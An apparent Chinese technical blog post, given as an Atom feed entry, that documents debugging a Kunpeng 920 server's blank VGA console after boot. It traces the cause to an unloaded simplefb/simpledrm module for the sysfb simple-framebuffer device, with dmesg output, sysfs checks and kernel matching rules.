        <content type="html" xml:base="https://vercel.juzhong.asia/2026/09/arm-tty0-console-experiment/">&lt;h1 id=&quot;yi-bei-jing-vga-shang-yong-yuan-zhi-you-efi-stub-san-xing&quot;&gt;一、背景：VGA 上永远只有&quot;EFI stub 三行&quot;&lt;&#x2F;h1&gt;
&lt;p&gt;鲲鹏 920 推理服务器（TaiShan 200 &#x2F; iBMC 固件 3.03.00.69，昇腾 310P 推理卡）在 IPMI KVM 上观察：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;EFI stub: Booting Linux Kernel...
EFI stub: Using DTB from configuration table
EFI stub: Exiting boot services...
（此后黑屏，再也没有内容）
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;原因链（详见《2026-09-08-ext4-rootfs-readonly-recovery.md》第四节与第九节）：&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;这板子的启动链是 UEFI → shim → grub → 内核；EFI stub 阶段通过 &lt;strong&gt;UEFI GOP&lt;&#x2F;strong&gt; 自绘 → VGA 有字；&lt;&#x2F;li&gt;
&lt;li&gt;内核接管后，控制台由 &lt;strong&gt;ACPI SPCR&lt;&#x2F;strong&gt;（firmware Console Redirection 表）决定 → &lt;code&gt;console [ttyS0] enabled&lt;&#x2F;code&gt;，日志全走串口；&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;&#x2F;proc&#x2F;cmdline&lt;&#x2F;code&gt; 里&lt;strong&gt;没有 &lt;code&gt;console=&lt;&#x2F;code&gt;&lt;&#x2F;strong&gt; → 内核注册了串口，tty0 根本不是 printk 目标。&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;p&gt;于是：&lt;strong&gt;想验证能不能让内核日志同步显示到 VGA&#x2F;IPMI 画面&lt;&#x2F;strong&gt; → 下面的实验。实验本身成功了（tty0 注册），但当时画面仍黑，第一版结论判为&quot;平台限制、无解&quot;——&lt;strong&gt;本文是续篇：这个结论是错的，VGA 最终被点亮了&lt;&#x2F;strong&gt;（见第四节起）。&lt;&#x2F;p&gt;
&lt;h1 id=&quot;er-shi-yan-console-tty0-de-zhu-ce-di-yi-ci-jin-zheng-ming-ri-zhi-tou-di-cheng-gong&quot;&gt;二、实验：console=tty0 的注册（第一次，仅证明&quot;日志投递&quot;成功）&lt;&#x2F;h1&gt;
&lt;h2 id=&quot;2-1-pei-zhi&quot;&gt;2.1 配置&lt;&#x2F;h2&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;# 备份 + 修改 &amp;#x2F;etc&amp;#x2F;default&amp;#x2F;grub
sudo cp &amp;#x2F;etc&amp;#x2F;default&amp;#x2F;grub &amp;#x2F;etc&amp;#x2F;default&amp;#x2F;grub.bak-tty0
sudo sed -i &amp;#x27;s&amp;#x2F;^GRUB_CMDLINE_LINUX=.*&amp;#x2F;GRUB_CMDLINE_LINUX=&amp;quot;console=ttyS0,115200 console=tty0&amp;quot;&amp;#x2F;&amp;#x27; &amp;#x2F;etc&amp;#x2F;default&amp;#x2F;grub
sudo update-grub
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;strong&gt;为什么写两个 console=&lt;&#x2F;strong&gt;：第一个是主日志通道（串口）；第二个（tty0）追加为辅助通道，同一份 printk 同时打给两者；最后一个 console= 决定 &#x2F;dev&#x2F;console。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;2-2-zhong-qi-hou-dmesg-shi-ce-di-yi-ci-shi-yan-nei-he-5-15-0-107&quot;&gt;2.2 重启后 dmesg 实测（第一次实验，内核 5.15.0-107）&lt;&#x2F;h2&gt;
&lt;pre&gt;&lt;code&gt;[    0.000211] Console: colour dummy device 80x25
[    0.000546] printk: console [tty0] enabled      ← ✅ 注册成功（改前没有这行）
[    0.351424] fbcon: Taking over console           ← ⚠️ 声称接管
[    0.401209] pci 0000:06:00.0: BAR 0: assigned to efifb  ← ⚠️ 此行的解读后来被修正（见 4.3）
[    0.774270] printk: console [ttyS0] enabled      ← ✅ 串口照常
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;但画面仍然失败：&lt;code&gt;&#x2F;dev&#x2F;fb0&lt;&#x2F;code&gt; 不存在、&lt;code&gt;&#x2F;sys&#x2F;class&#x2F;graphics&#x2F;&lt;&#x2F;code&gt; 只有 fbcon、&lt;code&gt;vtcon0&lt;&#x2F;code&gt; 是 &lt;code&gt;(S) dummy device&lt;&#x2F;code&gt;、显卡是 &lt;code&gt;Huawei Hi171x [iBMC ... w&#x2F;VGA support]&lt;&#x2F;code&gt;（PCI 06:00.0，BAR0 = 32MB @ e4000000，BAR1 = 2MB @ e7200000）。&lt;&#x2F;p&gt;
&lt;h1 id=&quot;san-dang-shi-de-jie-lun-2026-09-09-shang-wu-yi-bei-xia-wu-de-pai-cha-tui-fan&quot;&gt;三、当时的结论（2026-09-09 上午）——已被下午的排查推翻&lt;&#x2F;h1&gt;
&lt;p&gt;当时判定为&lt;strong&gt;平台限制&lt;&#x2F;strong&gt;，链条是：&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;efifb &quot;试图接管&quot;（&quot;BAR 0: assigned to efifb&quot;）但没有 GOP screen_info 提供真实帧缓冲描述 → 未注册 fb0；&lt;&#x2F;li&gt;
&lt;li&gt;DRM 侧也是空的（华为未提供该芯片开源驱动）；&lt;&#x2F;li&gt;
&lt;li&gt;fbcon 挂的是 dummy device → 内核日志投给 tty0 后无处可画。&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;p&gt;&lt;strong&gt;纠错说明（为什么错，防止重复踩坑）&lt;&#x2F;strong&gt;：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;① &quot;无 GOP screen_info&quot; 是&lt;strong&gt;误读&lt;&#x2F;strong&gt;——screen_info 一直有效，物证见第四节 &lt;code&gt;BOOTFB&lt;&#x2F;code&gt; 区段；&lt;&#x2F;li&gt;
&lt;li&gt;② 把 &quot;BAR 0: assigned to efifb&quot; 当成 &quot;efifb 驱动在工作&quot; 是&lt;strong&gt;误读&lt;&#x2F;strong&gt;——该行出现在 PCI 资源归属日志里，而本配置下 efifb 驱动（&lt;code&gt;FB_EFI=y&lt;&#x2F;code&gt; 内置）&lt;strong&gt;根本没有可绑定的平台设备&lt;&#x2F;strong&gt;（见 4.3），谈不上&quot;拿到 BAR 后放弃&quot;；&lt;&#x2F;li&gt;
&lt;li&gt;③ 漏查了 &lt;strong&gt;sysfb 已把 GOP 帧缓冲注册成 &lt;code&gt;simple-framebuffer&lt;&#x2F;code&gt; 平台设备&lt;&#x2F;strong&gt;这一步——缺的不是&quot;硬件驱动不存在&quot;，而是&quot;驱动模块存在但没加载、且不能自动绑定&quot;。&lt;&#x2F;li&gt;
&lt;li&gt;教训：查显示问题不能只看 fb0&#x2F;efifb&#x2F;drm 这几个名字，还要查 &lt;code&gt;&#x2F;sys&#x2F;bus&#x2F;platform&#x2F;devices&#x2F;&lt;&#x2F;code&gt; 有没有等驱动的显示设备、&lt;code&gt;&#x2F;proc&#x2F;iomem&lt;&#x2F;code&gt; 里帧缓冲区段是谁预留的。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h1 id=&quot;si-ji-xu-pai-cha-sysfb-zao-yi-ba-lu-pu-hao-que-de-zhi-shi-qu-dong&quot;&gt;四、继续排查：sysfb 早已把路铺好，缺的只是驱动&lt;&#x2F;h1&gt;
&lt;h2 id=&quot;4-1-xin-zheng-ju-yi-proc-iomem-li-de-bootfb&quot;&gt;4.1 新证据一：&#x2F;proc&#x2F;iomem 里的 BOOTFB&lt;&#x2F;h2&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;$ cat &amp;#x2F;proc&amp;#x2F;iomem | grep -B2 -A2 BOOTFB
e4000000-e5ffffff : PCI Bus 0000:06
  e4000000-e5ffffff : 0000:06:00.0
    e4000000-e412bfff : BOOTFB          ← 起点恰是 Hi171x BAR0 基址
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;code&gt;e412bfff - e4000000 + 1 = 0x12c000 = 1,228,800 B = 640×480×32&lt;&#x2F;code&gt;——&lt;strong&gt;正好是一个 GOP 帧缓冲&lt;&#x2F;strong&gt;。也就是说：固件把 GOP 画面画在 Hi171x 显存窗口（BAR0 = e4000000）的起始处，这块内存在内核侧被预留为 &lt;code&gt;BOOTFB&lt;&#x2F;code&gt;，而 &lt;strong&gt;iBMC 的物理 VGA&#x2F;HDMI 与 IPMI KVM 采集的就是这个显存窗口&lt;&#x2F;strong&gt;（UEFI 有字、内核黑屏的边界 = 谁在往这块内存写）。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;4-2-xin-zheng-ju-er-simple-framebuffer-0-ping-tai-she-bei-zai-deng-qu-dong&quot;&gt;4.2 新证据二：simple-framebuffer.0 平台设备在等驱动&lt;&#x2F;h2&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;$ ls &amp;#x2F;sys&amp;#x2F;bus&amp;#x2F;platform&amp;#x2F;devices&amp;#x2F; | grep framebuffer
simple-framebuffer.0          ← 已注册，但 driver 目录不存在 = 没有驱动绑定

$ grep -E &amp;quot;^CONFIG_(SYSFB|SYSFB_SIMPLEFB|FB_EFI|FB_SIMPLE|DRM_SIMPLEDRM)&amp;quot; &amp;#x2F;boot&amp;#x2F;config-$(uname -r)
CONFIG_SYSFB=y
CONFIG_SYSFB_SIMPLEFB=y
CONFIG_FB_EFI=y            # efifb 驱动内置
CONFIG_FB_SIMPLE=m         # fbdev simplefb 驱动是模块
CONFIG_DRM_SIMPLEDRM=m     # DRM simpledrm 驱动是模块
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;解读：内核启动早期（sysfb）根据 &lt;strong&gt;screen_info（来自 EFI stub 登记的 GOP 信息）&lt;&#x2F;strong&gt; 生成了一个平台设备 &lt;code&gt;simple-framebuffer.0&lt;&#x2F;code&gt;（这台是 ACPI 机器、无 device tree，所以该设备只能来自 sysfb）。屏幕信息不是没有，是&lt;strong&gt;转换成了 simple-framebuffer 形态在等 fb 驱动&lt;&#x2F;strong&gt;。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;4-3-xiu-zheng-efifb-wei-shen-me-mei-gan-huo-ta-ya-gen-mei-you-she-bei&quot;&gt;4.3 修正：efifb 为什么&quot;没干活&quot;——它压根没有设备&lt;&#x2F;h2&gt;
&lt;p&gt;&lt;code&gt;CONFIG_SYSFB_SIMPLEFB=y&lt;&#x2F;code&gt; 的含义：sysfb 把 GOP 帧缓冲注册成 &lt;strong&gt;&lt;code&gt;simple-framebuffer&lt;&#x2F;code&gt;&lt;&#x2F;strong&gt; 平台设备（供 simplefb&#x2F;simpledrm 绑定），而&lt;strong&gt;不再注册 &lt;code&gt;efifb&lt;&#x2F;code&gt; 平台设备&lt;&#x2F;strong&gt;。efifb 驱动（&lt;code&gt;FB_EFI=y&lt;&#x2F;code&gt; 内置）需要名为 &lt;code&gt;efifb&lt;&#x2F;code&gt; 的设备才会 probe——它永远等不到。所以：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;之前看到的 &lt;code&gt;pci 0000:06:00.0: BAR 0: assigned to efifb&lt;&#x2F;code&gt; 与 &lt;code&gt;BOOTFB&lt;&#x2F;code&gt; 都是&lt;strong&gt;早期资源预留&#x2F;归属日志&lt;&#x2F;strong&gt;，不是 efifb 驱动工作的痕迹；&lt;&#x2F;li&gt;
&lt;li&gt;真正缺的一环是：&lt;strong&gt;加载并绑定一个能认 &lt;code&gt;simple-framebuffer&lt;&#x2F;code&gt; 设备的 fb 驱动&lt;&#x2F;strong&gt;。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h2 id=&quot;4-4-guan-jian-chai-yi-107-yu-186-nei-he-de-mo-kuai-ku-cun&quot;&gt;4.4 关键差异：107 与 186 内核的模块库存&lt;&#x2F;h2&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;# 当前运行 5.15.0-107（内核包被 apt hold，且没有 linux-modules-extra-107）
$ ls &amp;#x2F;usr&amp;#x2F;lib&amp;#x2F;modules&amp;#x2F;5.15.0-107-generic&amp;#x2F;kernel&amp;#x2F;drivers&amp;#x2F;gpu&amp;#x2F;drm&amp;#x2F;tiny&amp;#x2F;   # 不存在
$ find &amp;#x2F;usr&amp;#x2F;lib&amp;#x2F;modules&amp;#x2F;5.15.0-107-generic&amp;#x2F;kernel -name &amp;quot;*simple*&amp;quot;
...&amp;#x2F;kernel&amp;#x2F;drivers&amp;#x2F;video&amp;#x2F;fbdev&amp;#x2F;simplefb.ko     # 只有 simplefb

# 5.15.0-186（linux-modules-extra 已装）
$ ls &amp;#x2F;usr&amp;#x2F;lib&amp;#x2F;modules&amp;#x2F;5.15.0-186-generic&amp;#x2F;kernel&amp;#x2F;drivers&amp;#x2F;gpu&amp;#x2F;drm&amp;#x2F;tiny&amp;#x2F;
simpledrm.ko
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;simplefb（fbdev）&lt;&#x2F;strong&gt; 与 &lt;strong&gt;simpledrm（DRM）&lt;&#x2F;strong&gt; 的平台驱动名都叫 &lt;strong&gt;&lt;code&gt;simple-framebuffer&lt;&#x2F;code&gt;&lt;&#x2F;strong&gt;（与 sysfb 设备同名，simpledrm 源码注释直接写着 &lt;code&gt;&#x2F;* connect to sysfb *&#x2F;&lt;&#x2F;code&gt;）→ 走 platform bus 的&lt;strong&gt;名字回退匹配&lt;&#x2F;strong&gt;即可绑定，&lt;strong&gt;不需要 DT 节点、也不需要 driver_override&lt;&#x2F;strong&gt;（这一点初稿判断错了，见第五节弯路记录）；&lt;&#x2F;li&gt;
&lt;li&gt;两者的 &lt;code&gt;MODULE_DEVICE_TABLE&lt;&#x2F;code&gt; 都只有 &lt;code&gt;of:N...simple-framebuffer&lt;&#x2F;code&gt;（of_match_table），&lt;strong&gt;没有 &lt;code&gt;platform:simple-framebuffer&lt;&#x2F;code&gt; 别名&lt;&#x2F;strong&gt; → udev 冷插时按设备 modalias（&lt;code&gt;platform:simple-framebuffer&lt;&#x2F;code&gt;）找不到任何模块，&lt;strong&gt;不会自动加载&lt;&#x2F;strong&gt;——真正缺的一环只是&quot;把模块加载进来&quot;：模块一加载，driver_register 的 attach 循环立刻按名字把设备绑上；&lt;&#x2F;li&gt;
&lt;li&gt;simpledrm 只在 186 内核存在（107 缺 linux-modules-extra）。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;这决定了修复路线（见第五、七节）。&lt;&#x2F;p&gt;
&lt;h1 id=&quot;wu-dian-liang-modprobe-simplefb-ji-zi-dong-bang-ding-ling-zhong-qi-xian-chang-xiu-fu&quot;&gt;五、点亮：modprobe simplefb 即自动绑定，零重启现场修复&lt;&#x2F;h1&gt;
&lt;p&gt;107 内核上没有 simpledrm，先用 simplefb 验证（不需要重启）：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;sudo modprobe simplefb      # 模块加载 → driver_register → attach 循环 → 名字匹配 → probe，一步到位
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;dmesg 实测输出：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;[ 4055.198726] simple-framebuffer simple-framebuffer.0: framebuffer at 0xe4000000, 0x12c000 bytes
[ 4055.198735] simple-framebuffer simple-framebuffer.0: format=a8r8g8b8, mode=640x480x32, linelength=2560
[ 4055.198932] Console: switching to colour frame buffer device 80x30
[ 4055.203598] simple-framebuffer simple-framebuffer.0: fb0: simplefb registered!
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;验证结果：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;$ ls &amp;#x2F;sys&amp;#x2F;class&amp;#x2F;graphics&amp;#x2F;          # fbcon → fb0 + fbcon
$ cat &amp;#x2F;sys&amp;#x2F;class&amp;#x2F;vtconsole&amp;#x2F;vtcon0&amp;#x2F;name   # (S) dummy device（VT0 仍哑）
$ cat &amp;#x2F;sys&amp;#x2F;class&amp;#x2F;vtconsole&amp;#x2F;vtcon1&amp;#x2F;name   # (M) frame buffer device ← fbcon 绑定真设备
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;strong&gt;VGA&#x2F;HDMI 与 web IPMI 上出现文本终端（TTY 登录界面），&quot;EFI stub 三行后黑屏&quot;结束&lt;&#x2F;strong&gt;。fb0 参数：640×480×32，stride 2560（= 640×4），即 UEFI GOP 模式本身（BMC 会做缩放）。probe 的宽高&#x2F;格式来自 sysfb 附在平台设备上的 &lt;strong&gt;platform_data&lt;&#x2F;strong&gt;（&lt;code&gt;simplefb_parse_pd&lt;&#x2F;code&gt;，由 screen_info 解析而来）——又一次证明无 DT 也能拿到显示参数。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;5-1-wan-lu-ji-lu-driver-override-yu-simplefb-mu-lu-chu-gao-de-cuo-yi-xiu-zheng&quot;&gt;5.1 弯路记录：driver_override 与 &quot;simplefb&quot; 目录（初稿的错，已修正）&lt;&#x2F;h3&gt;
&lt;p&gt;初版排查时误以为 simplefb 是 DT-only、必须 &lt;code&gt;driver_override&lt;&#x2F;code&gt; 强绑，实际是&lt;strong&gt;多此一举&lt;&#x2F;strong&gt;，还原过程：&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;先 &lt;code&gt;modprobe simplefb&lt;&#x2F;code&gt; —— &lt;strong&gt;这一刻绑定就已发生&lt;&#x2F;strong&gt;（dmesg 单条 probe 记录）；&lt;&#x2F;li&gt;
&lt;li&gt;随后写入 &lt;code&gt;driver_override=simplefb&lt;&#x2F;code&gt; —— 绑定已完成后写入，无任何作用；且该残留值其实&lt;strong&gt;有害&lt;&#x2F;strong&gt;：override 会让未来只有名为 &lt;code&gt;simplefb&lt;&#x2F;code&gt; 的驱动能绑这个设备，而真实驱动名是 &lt;code&gt;simple-framebuffer&lt;&#x2F;code&gt; → 解绑后将无法重绑（已清空）；&lt;&#x2F;li&gt;
&lt;li&gt;手动 bind 报 &lt;code&gt;drivers&#x2F;simplefb&#x2F;bind: Directory nonexistent&lt;&#x2F;code&gt; —— 因为驱动目录真实名字是 &lt;strong&gt;&lt;code&gt;drivers&#x2F;simple-framebuffer&lt;&#x2F;code&gt;&lt;&#x2F;strong&gt;（驱动名≠模块名），不是 &lt;code&gt;simplefb&lt;&#x2F;code&gt;；&lt;&#x2F;li&gt;
&lt;li&gt;决定性实验：清掉 override → 解绑 → &lt;strong&gt;不带 override 手动 bind&lt;&#x2F;strong&gt; → probe 成功、fb0 回来（见第十一节命令）。绑定机制 = platform bus 名字回退匹配。&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;blockquote&gt;
&lt;p&gt;注：此修复已通过 107 initramfs 持久化并重启验证（见 7.3）——VGA 从 initramfs 阶段起有画面。&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;h1 id=&quot;liu-ji-zhi-bu-ke-fbcon-framebuffer-dev-fb0-de-guan-xi&quot;&gt;六、机制补课：fbcon &#x2F; framebuffer &#x2F; &#x2F;dev&#x2F;fb0 的关系&lt;&#x2F;h1&gt;
&lt;p&gt;刚踩完坑，顺手把这三层关系理清（排查显示问题必须懂的结构）：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;printk → console[tty0] → VT 子系统 → vtconN 绑定 → fbcon → fb_info → 显存 → 扫描输出
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;显示驱动&lt;&#x2F;strong&gt;（simplefb &#x2F; simpledrm &#x2F; efifb）：拥有显存、提供画点&#x2F;填充&#x2F;位块搬运原语。调用 &lt;code&gt;register_framebuffer()&lt;&#x2F;code&gt; 注册一个 &lt;code&gt;fb_info&lt;&#x2F;code&gt; 后，fbdev 核心（fbmem.c）才生成 &lt;code&gt;&#x2F;dev&#x2F;fb0&lt;&#x2F;code&gt;。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;&#x2F;dev&#x2F;fb0&lt;&#x2F;code&gt;&lt;&#x2F;strong&gt;：用户态访问同一个 &lt;code&gt;fb_info&lt;&#x2F;code&gt; 的窗口（open&#x2F;mmap&#x2F;ioctl 直接读写像素，如 &lt;code&gt;fbset&lt;&#x2F;code&gt;、截图）。&lt;strong&gt;内核控制台文字不走它&lt;&#x2F;strong&gt;。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;fbcon&lt;&#x2F;strong&gt;（framebuffer console）：VT 子系统的&quot;显示后端&quot;。VT 把字符交给 fbcon，fbcon 把字符点阵画进 &lt;code&gt;fb_info&lt;&#x2F;code&gt; 的显存。&lt;code&gt;&#x2F;sys&#x2F;class&#x2F;vtconsole&#x2F;vtcon1&#x2F;name&lt;&#x2F;code&gt; 从 &lt;code&gt;(S) dummy device&lt;&#x2F;code&gt; 变 &lt;code&gt;(M) frame buffer device&lt;&#x2F;code&gt; = fbcon 绑定成功。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;DRM 时代等价物&lt;&#x2F;strong&gt;：simpledrm 是 DRM 驱动，靠 &lt;code&gt;DRM_FBDEV_EMULATION=y&lt;&#x2F;code&gt; 的模拟层同样生成 &#x2F;dev&#x2F;fb0 供 fbcon 挂（另外提供 &#x2F;dev&#x2F;dri&#x2F;card0 给现代 GUI）。186 内核走的就是这条路。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;所以回头看第一节说的&quot;三个开关&quot;，第三格要修正：&lt;strong&gt;不是&quot;硬件没有显示驱动&quot;，而是&quot;驱动存在（&lt;code&gt;FB_EFI=y&lt;&#x2F;code&gt;&#x2F;&lt;code&gt;FB_SIMPLE=m&lt;&#x2F;code&gt;&#x2F;&lt;code&gt;DRM_SIMPLEDRM=m&lt;&#x2F;code&gt;），但模块没加载、且内置的 efifb 因 SYSFB_SIMPLEFB=y 永远等不到设备&quot;&lt;&#x2F;strong&gt;。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;6-1-platform-bus-pi-pei-gui-ze-wei-shen-me-simplefb-neng-zi-dong-bang-shang-sysfb-she-bei&quot;&gt;6.1 platform bus 匹配规则：为什么 simplefb 能自动绑上 sysfb 设备&lt;&#x2F;h2&gt;
&lt;p&gt;platform bus 匹配 设备↔驱动 按序尝试 4 条规则（drivers&#x2F;base&#x2F;platform.c &lt;code&gt;platform_match&lt;&#x2F;code&gt;）：&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;code&gt;of_driver_match_device&lt;&#x2F;code&gt;：设备带 DT 节点且 compatible 命中驱动的 &lt;code&gt;of_match_table&lt;&#x2F;code&gt;（DT 匹配）&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;acpi_driver_match_device&lt;&#x2F;code&gt;：ACPI 匹配&lt;&#x2F;li&gt;
&lt;li&gt;驱动 &lt;code&gt;id_table&lt;&#x2F;code&gt; 命中设备名&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;兜底：&lt;code&gt;strcmp(pdev-&amp;gt;name, drv-&amp;gt;name)&lt;&#x2F;code&gt;——设备名 == 驱动名直接绑定&lt;&#x2F;strong&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;p&gt;simplefb&#x2F;simpledrm 走的就是规则 4：它们的 &lt;code&gt;platform_driver.driver.name&lt;&#x2F;code&gt; 都叫 &lt;strong&gt;&lt;code&gt;simple-framebuffer&lt;&#x2F;code&gt;&lt;&#x2F;strong&gt;（与 sysfb 设备同名；simpledrm 源码注释直白写着 &lt;code&gt;&#x2F;* connect to sysfb *&#x2F;&lt;&#x2F;code&gt;）。&lt;strong&gt;不需要 DT 节点、不需要 driver_override&lt;&#x2F;strong&gt;——当初以为&quot;DT-only 必须强绑&quot;是误判（5.1 弯路记录）。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;查看 DT 配置的方法&lt;&#x2F;strong&gt;：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;是否 DT 启动：&lt;code&gt;ls &#x2F;proc&#x2F;device-tree&lt;&#x2F;code&gt;（存在 = DT 启动；本机是 ACPI 机，只有 &#x2F;sys&#x2F;firmware&#x2F;acpi）&lt;&#x2F;li&gt;
&lt;li&gt;某设备是否有 DT 节点：&lt;code&gt;ls -la &#x2F;sys&#x2F;bus&#x2F;platform&#x2F;devices&#x2F;&amp;lt;设备&amp;gt;&#x2F;of_node&lt;&#x2F;code&gt;（本机 simple-framebuffer.0 无 of_node）&lt;&#x2F;li&gt;
&lt;li&gt;DT 机上浏览结构：&lt;code&gt;ls &#x2F;proc&#x2F;device-tree&#x2F;&lt;&#x2F;code&gt;（目录=节点、文件=属性），如 &lt;code&gt;cat &#x2F;proc&#x2F;device-tree&#x2F;chosen&#x2F;stdout-path&lt;&#x2F;code&gt;、&lt;code&gt;ls &#x2F;proc&#x2F;device-tree&#x2F; | grep -i fb&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;li&gt;设备 modalias：&lt;code&gt;cat ...&#x2F;modalias&lt;&#x2F;code&gt;——udev 靠它查模块（本机为 &lt;code&gt;platform:simple-framebuffer&lt;&#x2F;code&gt;）&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h2 id=&quot;6-2-simplefb-vs-simpledrm-fbdev-lao-jiang-vs-drm-ji-ren-zhe&quot;&gt;6.2 simplefb vs simpledrm：fbdev 老将 vs DRM 继任者&lt;&#x2F;h2&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;&lt;&#x2F;th&gt;&lt;th&gt;simplefb&lt;&#x2F;th&gt;&lt;th&gt;simpledrm&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;出身&lt;&#x2F;td&gt;&lt;td&gt;2013 年 fbdev 时代（ARM DT simple-framebuffer）&lt;&#x2F;td&gt;&lt;td&gt;5.14 加入的 DRM 化重写（源码注释 &lt;code&gt;connect to sysfb&lt;&#x2F;code&gt;）&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;API&lt;&#x2F;td&gt;&lt;td&gt;老 fbdev：register_framebuffer → &#x2F;dev&#x2F;fb0&lt;&#x2F;td&gt;&lt;td&gt;现代 DRM：&#x2F;dev&#x2F;dri&#x2F;card0（KMS&#x2F;atomic&#x2F;damage）&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;fbcon 怎么用&lt;&#x2F;td&gt;&lt;td&gt;直接提供 fb0&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;DRM_FBDEV_EMULATION=y&lt;&#x2F;code&gt; 模拟层生成 fb0&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;附带能力&lt;&#x2F;td&gt;&lt;td&gt;仅画&lt;&#x2F;td&gt;&lt;td&gt;格式转换、damage 刷新、标准 modeset 接口（GUI 可用）&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;本机&lt;&#x2F;td&gt;&lt;td&gt;107&#x2F;186 都有&lt;&#x2F;td&gt;&lt;td&gt;仅 186（在 linux-modules-extra）&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;是&lt;strong&gt;官方路线上的迭代取代&lt;&#x2F;strong&gt;（fbdev→DRM 迁移，6.x 后老 fbdev 驱动陆续 obsolete），但同内核共存、绑定机制完全相同（都靠驱动名=设备名）。选型：只要控制台日志→两者等价；要 GUI 后路（&#x2F;dev&#x2F;dri）→simpledrm。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;6-3-modprobe-jiu-chuang-jian-liao-dev-fb0-yi-tiao-jian-jie-lian-lu&quot;&gt;6.3 &quot;modprobe 就创建了 &#x2F;dev&#x2F;fb0&quot;？——一条间接链路&lt;&#x2F;h2&gt;
&lt;p&gt;&lt;code&gt;modprobe simplefb&lt;&#x2F;code&gt; 并不直接创建设备，链路是：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;modprobe simplefb → driver_register → platform bus 对已有无驱动设备跑 attach 循环
  → 规则 4 名字匹配 → probe() → 读 sysfb 附带的 platform_data（640×480×32 等参数）
  → register_framebuffer() → fbdev 核心注册 fb_info → devtmpfs 自动生成 &amp;#x2F;dev&amp;#x2F;fb0（c 29:0）
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;所以&lt;strong&gt;真正起作用的只有&quot;加载模块&quot;一步&lt;&#x2F;strong&gt;；绑定、fb0、fbcon 接管都是内核自动完成的。&lt;&#x2F;p&gt;
